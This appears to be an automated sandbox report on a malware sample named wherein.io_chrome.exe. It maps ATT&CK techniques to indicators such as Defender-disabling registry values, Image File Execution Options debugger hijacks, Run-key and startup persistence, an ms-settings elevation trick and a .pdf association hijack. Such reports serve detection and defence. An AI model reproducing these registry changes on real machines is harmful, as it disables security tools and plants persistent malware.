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Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	wherein.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1772	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	wherein.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	wherein.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wherein.io_chrome.exe"	wherein.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	wherein.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wherein.io_chrome.exe"	wherein.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	wherein.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wherein.io_chrome.exe"	wherein.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	wherein.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3232	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	wherein.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	wherein.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	wherein.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wherein.io_chrome.exe"	wherein.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wherein.io_chrome.exe"	wherein.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wherein.io_chrome.exe"	wherein.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
304	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	wherein.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	wherein.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	wherein.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
708	wscript.exe
4776	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	wherein.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	wherein.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6048	sc.exe
4088	sc.exe
5800	sc.exe
3300	sc.exe
3984	sc.exe
6016	sc.exe
4896	sc.exe
5536	sc.exe
1776	sc.exe
5092	sc.exe
2644	sc.exe
1664	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1284	cmd.exe
992	cmd.exe
3724	cmd.exe
5572	cmd.exe
3688	cmd.exe
5188	cmd.exe
1748	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4304	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3720	NETSTAT.EXE
4140	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5904	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2084	vssadmin.exe
4696	vssadmin.exe
1244	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\WallpaperStyle = "2"	wherein.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134312985780390187"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wherein.io_chrome.exe\" \"%1\""	wherein.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	wherein.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	wherein.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	wherein.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	wherein.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	wherein.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	wherein.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	wherein.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\DelegateExecute	wherein.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	wherein.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	wherein.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	wherein.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wherein.io_chrome.exe"	wherein.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	wherein.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	wherein.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	wherein.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1192	schtasks.exe
572	schtasks.exe
6084	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4020	chrome.exe
4020	chrome.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
480	WMIC.exe
480	WMIC.exe
480	WMIC.exe
480	WMIC.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
5620	WMIC.exe
5620	WMIC.exe
5620	WMIC.exe
5620	WMIC.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
6084	WMIC.exe
6084	WMIC.exe
6084	WMIC.exe
6084	WMIC.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe
3980	wherein.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3980	wherein.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4020	chrome.exe
Token: SeCreatePagefilePrivilege	4020	chrome.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeShutdownPrivilege	4020	chrome.exe
Token: SeCreatePagefilePrivilege	4020	chrome.exe
Token: SeShutdownPrivilege	4020	chrome.exe
Token: SeCreatePagefilePrivilege	4020	chrome.exe
Token: SeShutdownPrivilege	4020	chrome.exe
Token: SeCreatePagefilePrivilege	4020	chrome.exe
Token: SeIncreaseQuotaPrivilege	480	WMIC.exe
Token: SeSecurityPrivilege	480	WMIC.exe
Token: SeTakeOwnershipPrivilege	480	WMIC.exe
Token: SeLoadDriverPrivilege	480	WMIC.exe
Token: SeSystemProfilePrivilege	480	WMIC.exe
Token: SeSystemtimePrivilege	480	WMIC.exe
Token: SeProfSingleProcessPrivilege	480	WMIC.exe
Token: SeIncBasePriorityPrivilege	480	WMIC.exe
Token: SeCreatePagefilePrivilege	480	WMIC.exe
Token: SeBackupPrivilege	480	WMIC.exe
Token: SeRestorePrivilege	480	WMIC.exe
Token: SeShutdownPrivilege	480	WMIC.exe
Token: SeDebugPrivilege	480	WMIC.exe
Token: SeSystemEnvironmentPrivilege	480	WMIC.exe
Token: SeRemoteShutdownPrivilege	480	WMIC.exe
Token: SeUndockPrivilege	480	WMIC.exe
Token: SeManageVolumePrivilege	480	WMIC.exe
Token: 33	480	WMIC.exe
Token: 34	480	WMIC.exe
Token: 35	480	WMIC.exe
Token: 36	480	WMIC.exe
Token: SeIncreaseQuotaPrivilege	480	WMIC.exe
Token: SeSecurityPrivilege	480	WMIC.exe
Token: SeTakeOwnershipPrivilege	480	WMIC.exe
Token: SeLoadDriverPrivilege	480	WMIC.exe
Token: SeSystemProfilePrivilege	480	WMIC.exe
Token: SeSystemtimePrivilege	480	WMIC.exe
Token: SeProfSingleProcessPrivilege	480	WMIC.exe
Token: SeIncBasePriorityPrivilege	480	WMIC.exe
Token: SeCreatePagefilePrivilege	480	WMIC.exe
Token: SeBackupPrivilege	480	WMIC.exe
Token: SeRestorePrivilege	480	WMIC.exe
Token: SeShutdownPrivilege	480	WMIC.exe
Token: SeDebugPrivilege	480	WMIC.exe
Token: SeSystemEnvironmentPrivilege	480	WMIC.exe
Token: SeRemoteShutdownPrivilege	480	WMIC.exe
Token: SeUndockPrivilege	480	WMIC.exe
Token: SeManageVolumePrivilege	480	WMIC.exe
Token: 33	480	WMIC.exe
Token: 34	480	WMIC.exe
Token: 35	480	WMIC.exe
Token: 36	480	WMIC.exe
Token: SeBackupPrivilege	5436	vssvc.exe
Token: SeRestorePrivilege	5436	vssvc.exe
Token: SeAuditPrivilege	5436	vssvc.exe
Token: SeShutdownPrivilege	4020	chrome.exe
Token: SeCreatePagefilePrivilege	4020	chrome.exe
Token: SeShutdownPrivilege	4020	chrome.exe
Token: SeCreatePagefilePrivilege	4020	chrome.exe
Token: SeShutdownPrivilege	4020	chrome.exe
Token: SeCreatePagefilePrivilege	4020	chrome.exe
Token: SeShutdownPrivilege	4020	chrome.exe
Token: SeCreatePagefilePrivilege	4020	chrome.exe
Token: SeIncreaseQuotaPrivilege	1772	powershell.exe
Token: SeSecurityPrivilege	1772	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe
4020	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3980	wherein.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3980 wrote to memory of 4020	3980	wherein.io_chrome.exe	88
PID 4020 wrote to memory of 4036	4020	chrome.exe	89
PID 3980 wrote to memory of 1772	3980	wherein.io_chrome.exe	90
PID 3980 wrote to memory of 5536	3980	wherein.io_chrome.exe	93
PID 4020 wrote to memory of 4980	4020	chrome.exe	95
PID 4020 wrote to memory of 4304	4020	chrome.exe	94
PID 4020 wrote to memory of 4980	4020	chrome.exe	95
PID 4020 wrote to memory of 4244	4020	chrome.exe	96
PID 4020 wrote to memory of 4244	4020	chrome.exe	96
PID 4020 wrote to memory of 3736	4020	chrome.exe	97
PID 4020 wrote to memory of 1256	4020	chrome.exe	98
PID 4020 wrote to memory of 3736	4020	chrome.exe	97
PID 4020 wrote to memory of 1256	4020	chrome.exe	98
PID 3980 wrote to memory of 4088	3980	wherein.io_chrome.exe	100
PID 3980 wrote to memory of 1776	3980	wherein.io_chrome.exe	102
PID 3980 wrote to memory of 5092	3980	wherein.io_chrome.exe	104
PID 4020 wrote to memory of 4772	4020	chrome.exe	107
PID 4020 wrote to memory of 4772	4020	chrome.exe	107
PID 3980 wrote to memory of 5800	3980	wherein.io_chrome.exe	184
PID 3980 wrote to memory of 3300	3980	wherein.io_chrome.exe	109
PID 4020 wrote to memory of 5440	4020	chrome.exe	111
PID 4020 wrote to memory of 5440	4020	chrome.exe	111
PID 3980 wrote to memory of 2644	3980	wherein.io_chrome.exe	112
PID 3980 wrote to memory of 3984	3980	wherein.io_chrome.exe	183
PID 3980 wrote to memory of 5316	3980	wherein.io_chrome.exe	116
PID 3980 wrote to memory of 6048	3980	wherein.io_chrome.exe	197
PID 3980 wrote to memory of 1664	3980	wherein.io_chrome.exe	119
PID 5316 wrote to memory of 1380	5316	fodhelper.exe	120
PID 3980 wrote to memory of 2084	3980	wherein.io_chrome.exe	122
PID 3980 wrote to memory of 480	3980	wherein.io_chrome.exe	124
PID 3980 wrote to memory of 708	3980	wherein.io_chrome.exe	131
PID 3980 wrote to memory of 1192	3980	wherein.io_chrome.exe	132
PID 3980 wrote to memory of 572	3980	wherein.io_chrome.exe	134
PID 3980 wrote to memory of 5812	3980	wherein.io_chrome.exe	138
PID 3980 wrote to memory of 1284	3980	wherein.io_chrome.exe	140
PID 3980 wrote to memory of 992	3980	wherein.io_chrome.exe	142
PID 3980 wrote to memory of 1748	3980	wherein.io_chrome.exe	143
PID 3980 wrote to memory of 3724	3980	wherein.io_chrome.exe	145
PID 3980 wrote to memory of 5188	3980	wherein.io_chrome.exe	146
